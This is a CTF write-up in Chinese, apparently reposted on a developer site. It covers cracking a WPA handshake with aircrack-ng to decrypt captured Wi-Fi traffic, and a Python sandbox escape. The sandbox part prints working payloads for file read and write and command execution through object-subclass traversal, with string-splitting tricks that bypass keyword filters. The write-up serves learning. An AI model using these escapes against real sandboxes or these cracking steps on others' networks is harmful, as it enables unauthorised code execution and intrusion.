内容简介:不想吐槽了,谁做谁知道,这篇文章只是记录下一些下载后有两个压缩包,一个是如何提取
前言
不想吐槽了,谁做谁知道,这篇文章只是记录下一些 tips
。
寻找入侵者
黑客使用无线钓鱼攻击一个SSID为“CyberPeace”的热点,但是我们的蜜罐系统捕获了他的数据包,并且已经得知他的握手包密码就是他的网卡地址。可是根据我们最新获得的情况,他又发送重连请求的Malformat Frame试图崩溃我们的无线路由器。 请从attack包中找到密码,并解开他的数据包,找到那条畸形数据。
下载后有两个压缩包,一个是 attack.pcapng
,一个是 hanshake.cap
,按照题目的意思就是密码在 attack.pcapng
里的一个 mac地址
,然后用 hanshake.cap
验证该密码的正确性。那首先我们先去找一下密码,因为不会 tshark
,但是他能做的 wireshark
也能,可能就是实现的方式的效率问题。。。
如何提取 mac地址
?在 wireshark
的操作如下: 统计
–> 端点
,打开后在 Endpoint类型
里勾上 IEEE 802.11
,就能出现如下画面:
然后点击 复制
–> 作为CSV
就能将所有的 mac地址
提取出来,当然你还需要清理下数据,写个 Python 小脚本即可。
将得到的密码本拿去验证一下:
aircrack-ng hanshake.cap -w password.txt
最后得到密码。
有了密码后我们就能解开 hanshake.cap
里的数据,这个跟前面用到过的解 https
的方式类似,都是需要导入秘钥。但 IEEE 802.11
的导入方式不同,因为是它用的是 wpa/wpa2
的加密方式,所以我们需要将秘钥转换成 wpa-psk
的格式, wireshark
提供了这个工具: 传送门 。按照要求填入信息就能得到 wpa-psk
,如:
拿到psk后,在wireshark里如下操作:
编辑 ---> 首选项 ---> Protocols ---> IEEE 802.11
这样我们就能看到数据包了,然后追踪流,比较可疑的是发现了一个 key.rar
。
因为是在线了,我们可以自己下下来看看,比赛的时候也止步于此了,因为下下来发现跟 attack.pcapng
差不多,而且报文还很多,就猜想flag可能不在这,然而看了writeup后才发现flag就在这个包,出题人真会玩,都到了这一步了,线索还不给得 清晰点
。
在那个 key.pcap
里搜索一下 flag
,就能出现了,但因为比赛结束停止了提交,而且其他博客又没有放出 flag
,所以就自己熟悉一下好了。
wlan matches "flag"
RUN
其实我最想记录的是这道题,这是道 python
的 沙箱逃逸
。比较有趣,以前也没接触过,网上找了一些 payload
但都因为绕不过关键字而被 ban
掉。
因为它过滤了一些危险函数,比如:os、sys等,但我们可以通过类的继承关系找到被 ban
掉的库,然后将它导入进来。我们可以先看一下payload的前半部分:
().__class__.__bases__[0].__subclasses__()
从代码上我们比较好理解,就是从 ()
找到它的 父类
也就是 __bases__[0]
,而这个父类就是Python中的 根类<type 'object'>
,它里面有很多的子类,包括 file
等,这些子类中就有跟 os、system
等相关的 方法
,所以,我们可以从这些子类中找到自己需要的方法。
知道了上面的基础后,我们可以找到一些payload,比如:
//读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() //写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
但这道题的突破点是在获得 类的属性
上,从网上找的payload中存在一些被 ban
掉的关键字,如func_globals中存在 ls
,这也是做题时卡着的地方。而这些都可以用 __getattribute__
进行突破,它的用法如下:
可以看到通过 __getattribute__
我们可以传字符串来进行方法的调用,这就是我们需要的,然后我们将网上找的payload改造一下:
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()
因为它没有回显,所以我们只能通过 print
来获得返回的信息。最终我们拿到 flag
。在网上找的时候看到了另一种获得方法的函数:
getattr(().__class__.__bases__[0].__subclasses__()[59]().__module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('ls')
它是通过 getattr()
来实现的,但在本题的环境中这个payload并不能用。相关的参考链接:
https://blog.csdn.net/qq_35078631/article/details/78504415
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
HTTP权威指南
David Gourley、Brian Totty / 陈涓、赵振平 / 人民邮电出版社 / 2012-9 / 109.00元
超文本转移协议(Hypertext Transfer Protocol,HTTP)是在万维网上进行通信时所使用的协议方案。HTTP有很多应用,但最著名的是用于web浏览器和web服务器之间的双工通信。 HTTP起初是一个简单的协议,因此你可能会认为关于这个协议没有太多好 说的。但现在,你手上拿着的是却一本两磅重 的书。如果你对我们怎么会写出一本650页 的关于HTTP的书感到奇怪的话,可以去......一起来看看 《HTTP权威指南》 这本书的介绍吧!